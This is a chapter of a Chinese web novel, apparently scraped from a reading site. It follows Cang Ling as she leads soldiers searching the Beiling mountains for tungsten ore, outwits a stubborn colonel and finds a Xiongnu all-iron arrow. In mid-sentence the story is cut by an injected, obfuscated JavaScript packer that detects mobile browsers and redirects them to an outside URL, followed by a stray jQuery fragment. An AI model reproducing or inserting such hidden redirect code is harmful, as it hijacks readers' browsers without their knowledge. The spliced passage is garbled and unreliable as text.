17. 寻找

苍凌看着站在自己身后的羽三,问道:“为何你也跟着去?”


羽三咳了一声,“羽三对周边多有熟悉,平常还可照顾姑娘一二。”


苍凌摆了摆手,“行吧,”


羽三指着站在最前方的人说道:“这位是十三营长,身后率领五十人,将协助姑娘找矿石。”


苍凌拿着羊皮地图简单扫了眼,羊皮边缘已微微泛黄,上面简单标注了山脉和周边城池,她指着地图说道:“我们出城后沿着北岭山脉搜寻。”


营长姓纪名宏鸣,曾被任为圆中校尉,面色粗犷,眯着眼看着苍凌,吩咐道:“北岭山脉悠长,一路向东北方延长,分脉众多,都跑出大宁了。还是巫山离得近,而且靠西南,走巫山搜查才是。”


苍凌道:“之前匈奴武器有些经过特殊炼化,说明北方有矿脉才是,走北岭。”


纪宏鸣“砸”了一声,“若碰到匈奴怎办,这可就才五十人。”


苍凌:“打得过就打,打不过就跑。”


纪宏鸣鼻孔愤愤地出了口气,摆开臂大步走至主营张内,抱拳道:“王爷,这出去找钨矿可是在下担任主导。”


萧昭未抬眼,淡淡道:“你可以试试。”


纪宏鸣胡子丛下的嘴角笑了下,不知哪根脑瓜苗子听出准许的意思,高兴道:“属下得令。”


他雄赳赳走出营帐。


羽七问道:“主子不去送送苍姑娘吗?”


萧昭正色道:“他只是去搜查石矿,跟勘察前线一同,难不成每个队出去本王都要去送吗?”


羽七站在角落,不说话了。


纪宏鸣走到十三营后,人却都不见了,他着急询问才得知,“苍姑娘已带队先行走了。”


纪宏鸣胡子乱飞,再一询问,他们居然是往北城门去了,全当他的话是耳旁风。


他架马而上,追了出去,在城外三里才追上。


喝道:“苍姑娘为何不听我命令擅自行事!”


苍凌不解皱眉,为何要听他行事。


纪宏鸣看着苍凌面色冰冷不善,继续道:“我已询问过王爷了,我才是这次的主导。”


苍凌勒马停下,纪宏鸣差点以为她要动手,怒目瞪着苍凌。


苍凌手向下压了压,示意息怒,“校尉,咱凡事都得讲道理,我看校尉也不是个不讲道理的人,这走北岭可是大伙的决定。”


纪宏鸣看着身后众人,无一人站出反对,他瞪了瞪眼,道:“我反对。”


苍凌道:“这样,咱们公平行事,少数服从多数,同意走巫山的站出来。”


纪宏鸣昂然站出,身后这些可都是他带的兵,他吩咐道:“将士听令,掉头走巫山。”


王茂二弱弱地说了声,“可苍凌对矿山这方面比较熟悉,还是应该听她的。”


纪宏鸣瞪了他一眼,“遇上匈奴你就知道了哪个对了。”


苍凌看向身后,笑了下,拍了下手,“行,既然都决定了,我们走北岭,校尉可不能言而无信。”


纪宏鸣不可置信一回头,身后竟空无一人,士兵皆驾马跟着苍凌而上,他愤愤甩了下马鞭,只好急忙驾马赶上。


等跑出数十里,他脑袋才转过来,他不是校尉吗!为何要少数服从多数!


苍凌一路人行至山下,她拿出羊皮地图,北岭山脉众多,大致可分为左、中、右三脉,分别从朔州出发,左脉位于辽州左侧,中脉位于儋州、辽州两城之间,右脉位于儋州右侧。


她们先行沿着右脉奔走数里,山体陡峭,驾马根本上不去,他们只得时不时停下,捡起山脚下落石分辨是否有矿脉。


王茂二捡起一块夹着银白色的石头,兴奋地跑到苍凌面前,“苍凌,快看,这是否是那钨石矿。”


苍凌接过,砸开一看,灰黑的石头中间夹杂着一细细的银白色线条,她道:“很有可能是。”


她带领三五人轻装上山探寻,然而却一无所获。


等返下山来,已薄暮冥冥,夕阳渐褪。


王茂二眼睛亮晶晶地望向远方,“苍凌回来了,”他急忙跑向前去,“怎样,找到没有?”


苍凌摇了摇头,王茂二眼睛神采逐渐落下,坐在路边石头上,“怎会这样,找了一天了,好不容易找到一块有希望的石头,山上却啥都没有。”


纪宏鸣不得“咂”了下嘴,马后炮道:“你看,听我地走巫山说不定就找到了。”


苍凌没看他,打开羊皮卷,道:“这样下去不是办法,看进度,右脉我等才走了一半的一半,若要走完得四五日,再折返查看其他矿脉又得数日,时日太久。”她对那几个跟着她上山的士兵道:“今日上山虽没找到矿脉,但你们跟着也知该如何寻找,明日你们分为二队,再各分配十五人,分头行动。”


她又看向纪宏鸣道:“纪校尉明日带领十五人以及这二人去左路搜寻,我带领十五人走中路。”


“剩下的三人选出个头兵来,带领十五人继续查右路。你们若找到疑似钨矿线索留下记号,七日后在朔州南城门外五里处汇合。”


纪宏鸣仍是不死心道:“这样一来确实少耽搁了许多时日,但你可有多少把握?”


苍凌道:“十之八九,匈奴那盾你也看见了,若他们日后将这人手一个,我们兵器根本刺不过去,这仗还该如何打,而且我肯定这矿很有可能出在左路。”她一拍大腿,道:“尔等想想,若我等发现这邬石矿,那可真是立了大功,王爷会如何奖赏我等,更不用说这第一个发现这矿之人。”


纪宏鸣眼神飘忽,脑筋一转,道:“行吧。”走左路总要比走中路好,中路山脉位于儋州辽州之间,一不小心可能就被两城匈奴发现,夹在中间只有死路一条。


他看了眼苍凌,默默应下了。


众将士也是如此,知晓此风险,苍凌道:“有谁愿意跟我去中路?”


王茂二率先拽着王茂一应道:“我我我,和大哥。”


羽三默默跟在苍凌身后。


之后是一片短暂的寂静,苍凌又淡淡笑道:“中路再来三人便够了,再多我可护不住了。”


一位士兵弱弱地举起了手,苍凌点了下头,“行,还有两位。”


之后又有两位举手,“苍姑娘当真会护住我们?”


苍凌道:“当然。”


纪宏鸣瞥了眼苍凌的身板,又看了看他自己五大三粗的身姿,拍了拍胸膛,“我堂堂校尉也会护住你们的。”


天际已微弱,繁星垂出,隐约将要滴落到地面众人热气腾腾的锅里,增添好一番风味才好。


他们已扎好帐篷,支起火堆,热气腾腾的粥冒出白烟泡泡,朦胧虚幻似云朵般冒进每个人眼中。


苍凌看着那口眼熟的大锅,王茂二道:“嘿嘿,出发前,俺特意给大姨讨来的,一开始她还不肯借,后来说你也会用,她才给。”他撅起嘴,小声嘟嘟道:“到底谁才是亲生的外甥。”


烟火熏得苍凌眯起眼来,眉眼弯弯淡淡笑着。


一天奔波下来,山路崎岖,每个人都身心俱疲,但由于一无所获,连个铁矿的影子都没


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15347009|166061||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


看见,有好些人耷拉着眉眼。


苍凌站起,解开马上放的包袱,道:“虽没找到钨石矿,可找到了其他的。”


王茂二眼睛一亮,“是春笋!”


众人拍手叫好,一般战争艰苦,外出勘察更是要命,能啃几个大饼就不错,此次居然还能吃到新出的嫩孙,众人欢呼:“芜~”


羽三接过,“我会处理春笋,姑娘交给在下吧。”苍凌欣然递出。


白嫩的春笋下进雾气升腾,滚着泡泡的锅里,融入春日的味道。


一番吃喝过后,安排好值班守夜人员,终得回营帐休息了。


夜深人静,羽三拿出小本子记下,“今日行走五十里,一无所获,苍姑娘决定分派三路勘察,军气低迷时,变戏法似的掏出春笋,犒劳众军,鼓舞士气。特记:苍姑娘喜春笋,不喜蘑菇。”


他走远吹哨唤来一只信鸽,将信送回军营。


第二日,士气恢复,兵分三路,前往搜寻,临走前,纪宏鸣看了好几眼苍凌,最后走时才道:“你切记要小心。”


苍凌点了下头,驾马分别,走至中路山脉,山脉苍远辽阔,她们站在顶端,裤脚已被露水浸湿,转瞬又被赤阳烤干。


拨开重重遮挡的树枝,隐约可见点点城池,王茂一和王茂二驻足许久,视线透过浓雾水汽与阳光一同透进城内。


苍凌走近,王茂二指着道:“那便是儋州了。”他神色落寞,“可惜回不去了。”


苍凌镇定却又格外炙热的声音传来,“一定会回去的。”


身后树枝突然窸窸窣窣响动,羽三道:“苍姑娘,不好了,有人上来了。”


苍凌回身,“先躲起来。”


她们分别闪身躲至树上或灌木丛后,只见山下草木纷动,有一小队人走了上来,四五人。


其中一人背着长弓,旁边几人拿着箭宇,和麻绳、捕网。


突然见树丛闪动,执弓那人便一箭射出,对旁边小兵说道:“去看看。”


一匈奴上前,拨开草丛,摇了摇头,“将军,没有。”


将军皱起眉头,上前一看,灌木丛后果真空荡荡,连箭竟也不见了,他道:“铁定射中猎物逃走了,去前面看看。”


他们纷纷走上前去,转眼消失在山头转弯处。


苍凌悄声与士兵会合,手中拿着一柄箭宇,非平常箭宇。寻常箭宇,箭柄为木,箭头为坚硬钢铁。这柄箭却全身通铁。


王茂二蹲在草丛中悄声道:“苍凌,这箭可有什么特别的?”


苍凌点了点头,拿出一士兵大刀来,在上面轻轻一滑,便可见一道划痕。


“这!这怎么可能,削铁如泥吗?”那兵道。


苍凌道:“其中肯定有钨矿和其他的东西。”她之后需要时间好好研究一下,当务之急是搞清楚这东西哪来的,匈奴为何会有。


一兵道:“是否要告知王爷,”他环顾四周,“对了,羽三大人呢?”


“被我派去勘察前方了。”话音不出一会儿,羽三便归来,身轻如燕,没惊起一点动静,倏地一下出现在众人眼前,道:“姑娘,这里离辽州几十公里远,按理来说匈奴军队不会来此,但现在山下有一小队,扎营在山脚。”


“有多少人?”苍凌问道。


羽三回道:“约莫五六十人。”


苍凌道:“走,我们去看看。”


羽三结巴了下,“怎,怎么个看法?”这里能打的只有六个人,他勉强能算半个。


“当然是混进去了。”苍凌一笑道。